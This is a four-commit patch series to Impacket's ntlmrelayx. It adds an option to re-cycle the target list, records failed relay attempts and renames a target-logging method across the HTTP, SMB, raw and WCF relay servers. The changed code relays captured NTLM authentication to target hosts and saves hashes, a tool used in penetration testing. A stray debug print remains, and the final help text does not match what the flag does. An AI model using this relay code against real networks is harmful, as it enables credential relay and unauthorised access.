From 30a7761307a5e989f113b0d71ad3647f0ba5f68c Mon Sep 17 00:00:00 2001 From: Alexis Balbachan Date: Tue, 30 Apr 2024 02:39:56 -0300 Subject: [PATCH 1/4] * Record failed targets * [MULTIRELAY][Default Behavior] The relay will cycle over its target list only once, this matches the behavior of the single relay mode * [MULTIRELAY] Added a flag to cycle over the target list any time a new connection is established, essentially relaying against each target in the list for every incoming connection * [MULTIRELAY] HTTP server will stop consuming targets after the first failed attempt, this matches the behavior of SMB server * Fixed issue in HTTP server when an unhandled exception occurs while trying to establish a connection with the target. Now it is recorded as a failed attempt. --- examples/ntlmrelayx.py | 2 + .../ntlmrelayx/servers/httprelayserver.py | 40 +++++++++++++--- .../ntlmrelayx/servers/smbrelayserver.py | 26 ++++++++--- impacket/examples/ntlmrelayx/utils/config.py | 3 ++ .../examples/ntlmrelayx/utils/targetsutils.py | 46 +++++++++++++------ 5 files changed, 89 insertions(+), 28 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index c2b130b88..1944a025a 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -183,6 +183,7 @@ def start_servers(options, threads): c.setEnumLocalAdmins(options.enum_local_admins) c.setAddComputerSMB(options.add_computer) c.setDisableMulti(options.no_multirelay) + c.setRetries(options.enable_retries) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) @@ -291,6 +292,7 @@ def stop_servers(threads): parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') + parser.add_argument('--enable-retries', action="store_true", required=False, help='When the target list is exhausted, start over from the beginning.') parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 68db7d36a..5ae950ec5 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -368,6 +368,9 @@ def do_local_auth(self, messageType, token, proxy): LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], @@ -384,12 +387,22 @@ def do_relay(self, messageType, token, proxy, content = None): LOG.info("HTTPD(%s): Connection from %s controlled, but there are no more targets left!" % ( self.server.server_address[1], self.client_address[0])) self.send_not_found() + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return LOG.info("HTTPD(%s): Connection from %s controlled, attacking target %s://%s" % ( self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc)) - if not self.do_ntlm_negotiate(token, proxy=proxy): + + try: + ntlm_negotiate_response = self.do_ntlm_negotiate(token, proxy=proxy) + except Exception as e: + LOG.error('HTTPD(%d): Exception while Negotiating NTLM with %s://%s: "%s"' % (self.server.server_address[1], self.target.scheme, self.target.netloc, str(e))) + ntlm_negotiate_response = False + + if not ntlm_negotiate_response: # Connection failed if self.server.config.disableMulti: LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1], @@ -401,13 +414,16 @@ def do_relay(self, messageType, token, proxy, content = None): LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % ( self.server.server_address[1], self.target.scheme, self.target.netloc)) - self.server.config.target.logTarget(self.target) + self.server.config.target.logTarget(self.target, gotUsername=self.authUser) self.target = self.server.config.target.getTarget(identity=self.authUser) if self.target is None: LOG.info( "HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], @@ -438,19 +454,25 @@ def do_relay(self, messageType, token, proxy, content = None): # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': - self.server.config.target.logTarget(self.target) + self.server.config.target.logTarget(self.target, gotUsername=self.authUser) # No anonymous login, go to next host and avoid triggering a popup self.target = self.server.config.target.getTarget(identity=self.authUser) if self.target is None: LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() + + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) return - LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], - self.authUser, self.client_address[0], self.target.scheme, self.target.netloc)) + self.send_not_found() # Stop relaying at first login fail, this matches the behavior of smbrelayserver - self.do_REDIRECT() + # Uncomment lines below to keep relaying after login failures + # LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], + # self.authUser, self.client_address[0], self.target.scheme, self.target.netloc)) + + # self.do_REDIRECT() else: # If it was an anonymous login, send 401 self.do_AUTHHEAD(b'NTLM', proxy=proxy) @@ -486,6 +508,10 @@ def do_relay(self, messageType, token, proxy, content = None): LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % ( self.server.server_address[1], self.authUser, self.client_address[0])) + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + + # Return Multi-Status status code to WebDAV servers if self.command == "PROPFIND": self.send_multi_status(content) @@ -543,4 +569,4 @@ def run(self): except KeyboardInterrupt: pass LOG.info('Shutting down HTTP Server') - self.server.server_close() \ No newline at end of file + self.server.server_close() diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 9e02b2ea1..17eb1967d 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -148,6 +148,9 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return [SMB2Error()], None, STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, @@ -352,8 +355,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): if errorCode != STATUS_SUCCESS: #Log this target as processed for this client - self.targetprocessor.logTarget(self.target) LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) + self.targetprocessor.logTarget(self.target, False, self.authUser) client.killConnection() else: # We have a session, create a thread and do whatever we want @@ -425,6 +428,9 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return self.origsmb2TreeConnect (connId, smbServer, recvPacket) LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, @@ -441,7 +447,7 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) else: connData['relayToHost'] = True connData['Authenticated'] = False @@ -497,6 +503,9 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], @@ -519,7 +528,7 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): except Exception as e: LOG.error( "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() @@ -587,7 +596,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): challengeMessage = self.do_ntlm_negotiate(client,token) except Exception: # Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) # Raise exception again to pass it on to the SMB server raise @@ -641,7 +650,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) #Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) client.killConnection() @@ -716,7 +725,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) # Finish client's connection #client.killConnection() @@ -780,6 +789,9 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) + if self.server.config.enableRetries: + self.server.config.target.reloadTargets(full_reload=True) + return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser, @@ -796,7 +808,7 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) else: connData['relayToHost'] = True connData['Authenticated'] = False diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index c66c4a957..af3b0d5a3 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -140,6 +140,9 @@ def setAddComputerSMB(self, addComputerSMB): def setDisableMulti(self, disableMulti): self.disableMulti = disableMulti + def setRetries(self, setRetries): + self.enableRetries = setRetries + def setEncoding(self, encoding): self.encoding = encoding diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py index d0e4eb9a0..b7baef960 100644 --- a/impacket/examples/ntlmrelayx/utils/targetsutils.py +++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py @@ -46,6 +46,7 @@ def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None, # Here we store the attacks that already finished, mostly the ones that have usernames, since the # other ones will never finish. self.finishedAttacks = [] + self.failedAttacks = [] self.protocolClients = protocolClients if targetListFile is None: self.filename = None @@ -59,8 +60,8 @@ def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None, # Randomize the targets based random.shuffle(self.originalTargets) - self.generalCandidates = [x for x in self.originalTargets if x.username is None] - self.namedCandidates = [x for x in self.originalTargets if x.username is not None] + self.reloadTargets(full_reload=True) + @staticmethod def processTarget(target, protocolClients): @@ -93,20 +94,32 @@ def readTargets(self): if len(self.originalTargets) == 0: LOG.critical("Warning: no valid targets specified!") - self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is None] - self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is not None] + self.reloadTargets() + + + def reloadTargets(self, full_reload=False): + if full_reload: + self.finishedAttacks = [] + self.failedAttacks = [] + self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is None] + self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is not None] def logTarget(self, target, gotRelay = False, gotUsername = None): # If the target has a username, we can safely remove it from the list. Mission accomplished. - if gotRelay is True: - if target.username is not None: + if target.username is not None: + if gotRelay: self.finishedAttacks.append(target) - elif gotUsername is not None: - # We have data about the username we relayed the connection for, - # for a target that didn't have username specified. - # Let's log it - newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\'), target.netloc, target.path)) + else: + self.failedAttacks.append(target) + elif gotUsername is not None: + # We have data about the username we relayed the connection for, + # for a target that didn't have username specified. + # Let's log it + newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\'), target.netloc, target.path)) + if gotRelay: self.finishedAttacks.append(newTarget) + else: + self.failedAttacks.append(newTarget) def getTarget(self, identity=None, multiRelay=True): # ToDo: We should have another list of failed attempts (with user) and check that inside this method so we do not @@ -130,9 +143,11 @@ def getTarget(self, identity=None, multiRelay=True): if len(self.generalCandidates) > 0: if identity is not None: for target in self.generalCandidates: - tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\'), target.netloc) + tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\'), target.netloc + target.path) match = [x for x in self.finishedAttacks if x.geturl().upper() == tmpTarget.upper()] - if len(match) == 0: + fail_match = [x for x in self.failedAttacks if x.geturl().upper() == tmpTarget.upper()] + print(self.failedAttacks) + if len(match) == 0 and len(fail_match) == 0: self.generalCandidates.remove(target) return target LOG.debug("No more targets for user %s" % identity) @@ -150,8 +165,11 @@ def getTarget(self, identity=None, multiRelay=True): return self.generalCandidates.pop() else: if len(self.originalTargets) > 0: + # Remove credentials from the URLs (otherwise they won't ever match) + finishedAttacks = [an_atk._replace(netloc=an_atk.hostname) for an_atk in self.finishedAttacks] + failedAttacks = [an_atk._replace(netloc=an_atk.hostname) for an_atk in self.failedAttacks] self.generalCandidates = [x for x in self.originalTargets if - x not in self.finishedAttacks and x.username is None] + x not in finishedAttacks and x not in failedAttacks and x.username is None] if len(self.generalCandidates) == 0: if len(self.namedCandidates) == 0: From e0efce5a0986b03f38ca757db96a99835fb74516 Mon Sep 17 00:00:00 2001 From: Alexis Balbachan Date: Thu, 2 May 2024 00:23:16 -0300 Subject: [PATCH 2/4] * When a connection attempt fails (such as connection refused) the target is now (internally) marked as "failed" * Bugfix: initclient-> unhandled return status of client.initconnection, now properly raises an exception when that call fails * Bugfix: enable-retries now works with smbserver --- .../ntlmrelayx/servers/smbrelayserver.py | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 17eb1967d..08d1ab2cd 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -148,8 +148,8 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) - if self.server.config.enableRetries: - self.server.config.target.reloadTargets(full_reload=True) + if self.config.enableRetries: + self.config.target.reloadTargets(full_reload=True) return [SMB2Error()], None, STATUS_BAD_NETWORK_NAME @@ -167,7 +167,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() @@ -302,7 +302,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.logTarget(self.target, False, self.authUser) # Raise exception again to pass it on to the SMB server raise @@ -428,8 +428,8 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) - if self.server.config.enableRetries: - self.server.config.target.reloadTargets(full_reload=True) + if self.config.enableRetries: + self.config.target.reloadTargets(full_reload=True) return self.origsmb2TreeConnect (connId, smbServer, recvPacket) @@ -503,8 +503,8 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) - if self.server.config.enableRetries: - self.server.config.target.reloadTargets(full_reload=True) + if self.config.enableRetries: + self.config.target.reloadTargets(full_reload=True) return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME @@ -789,8 +789,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) - if self.server.config.enableRetries: - self.server.config.target.reloadTargets(full_reload=True) + if self.config.enableRetries: + self.config.target.reloadTargets(full_reload=True) return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) @@ -878,7 +878,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): def init_client(self,extSec): if self.target.scheme.upper() in self.config.protocolClients: client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) - client.initConnection() + if not client.initConnection(): + raise Exception('Could not initialize connection') else: raise Exception('Protocol Client for %s not found!' % self.target.scheme) From d6fa3b984931feef544e159dc63632c2c0f8bcf7 Mon Sep 17 00:00:00 2001 From: Alexis Balbachan Date: Thu, 2 May 2024 00:25:34 -0300 Subject: [PATCH 3/4] [REFACTOR] Renamed logTarget -> registerTarget --- .../ntlmrelayx/servers/httprelayserver.py | 8 +++---- .../ntlmrelayx/servers/rawrelayserver.py | 4 ++-- .../ntlmrelayx/servers/smbrelayserver.py | 24 +++++++++---------- .../ntlmrelayx/servers/wcfrelayserver.py | 4 ++-- .../examples/ntlmrelayx/utils/targetsutils.py | 2 +- 5 files changed, 21 insertions(+), 21 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 5ae950ec5..ab337a6f2 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -407,14 +407,14 @@ def do_relay(self, messageType, token, proxy, content = None): if self.server.config.disableMulti: LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1], self.target.scheme, self.target.netloc)) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target) self.send_not_found() return else: LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % ( self.server.server_address[1], self.target.scheme, self.target.netloc)) - self.server.config.target.logTarget(self.target, gotUsername=self.authUser) + self.server.config.target.registerTarget(self.target, gotUsername=self.authUser) self.target = self.server.config.target.getTarget(identity=self.authUser) if self.target is None: @@ -454,7 +454,7 @@ def do_relay(self, messageType, token, proxy, content = None): # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': - self.server.config.target.logTarget(self.target, gotUsername=self.authUser) + self.server.config.target.registerTarget(self.target, gotUsername=self.authUser) # No anonymous login, go to next host and avoid triggering a popup self.target = self.server.config.target.getTarget(identity=self.authUser) if self.target is None: @@ -491,7 +491,7 @@ def do_relay(self, messageType, token, proxy, content = None): writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) - self.server.config.target.logTarget(self.target, True, self.authUser) + self.server.config.target.registerTarget(self.target, True, self.authUser) self.do_attack() if self.server.config.disableMulti: # We won't use the redirect trick, closing connection... diff --git a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py index a534f8204..e8a0218d0 100644 --- a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py @@ -79,7 +79,7 @@ def handle(self): # Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target) else: @@ -132,7 +132,7 @@ def handle(self): writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) - self.server.config.target.logTarget(self.target, True, self.authUser) + self.server.config.target.registerTarget(self.target, True, self.authUser) self.do_attack() diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 08d1ab2cd..e75a20ced 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -167,7 +167,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() @@ -302,7 +302,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) # Raise exception again to pass it on to the SMB server raise @@ -356,13 +356,13 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): if errorCode != STATUS_SUCCESS: #Log this target as processed for this client LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, True, self.authUser) + self.targetprocessor.registerTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], @@ -447,7 +447,7 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['relayToHost'] = True connData['Authenticated'] = False @@ -528,7 +528,7 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): except Exception as e: LOG.error( "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() @@ -596,7 +596,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): challengeMessage = self.do_ntlm_negotiate(client,token) except Exception: # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) # Raise exception again to pass it on to the SMB server raise @@ -650,7 +650,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) #Log this target as processed for this client - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) client.killConnection() @@ -660,7 +660,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, True, self.authUser) + self.targetprocessor.registerTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], @@ -725,7 +725,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) # Finish client's connection #client.killConnection() @@ -737,7 +737,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, True, self.authUser) + self.targetprocessor.registerTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) @@ -808,7 +808,7 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target, False, self.authUser) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['relayToHost'] = True connData['Authenticated'] = False diff --git a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py index 4333b5e9a..201e7cc4e 100644 --- a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py @@ -193,7 +193,7 @@ def handle(self): # Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target) return # Calculate auth @@ -272,7 +272,7 @@ def handle(self): writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) - self.server.config.target.logTarget(self.target, True, self.authUser) + self.server.config.target.registerTarget(self.target, True, self.authUser) self.do_attack() diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py index b7baef960..240a8104e 100644 --- a/impacket/examples/ntlmrelayx/utils/targetsutils.py +++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py @@ -104,7 +104,7 @@ def reloadTargets(self, full_reload=False): self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is None] self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is not None] - def logTarget(self, target, gotRelay = False, gotUsername = None): + def registerTarget(self, target, gotRelay = False, gotUsername = None): # If the target has a username, we can safely remove it from the list. Mission accomplished. if target.username is not None: if gotRelay: From 741cfaf2923dc5eaadf0a8752afd083f6ece8719 Mon Sep 17 00:00:00 2001 From: Alexis Balbachan Date: Fri, 3 May 2024 04:29:59 -0300 Subject: [PATCH 4/4] Modified flag help text --- examples/ntlmrelayx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 1944a025a..ba654921b 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -292,7 +292,7 @@ def stop_servers(threads): parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') - parser.add_argument('--enable-retries', action="store_true", required=False, help='When the target list is exhausted, start over from the beginning.') + parser.add_argument('--enable-retries', action="store_true", required=False, help='If set, keeps relaying to a target even after a successful connection on it') parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '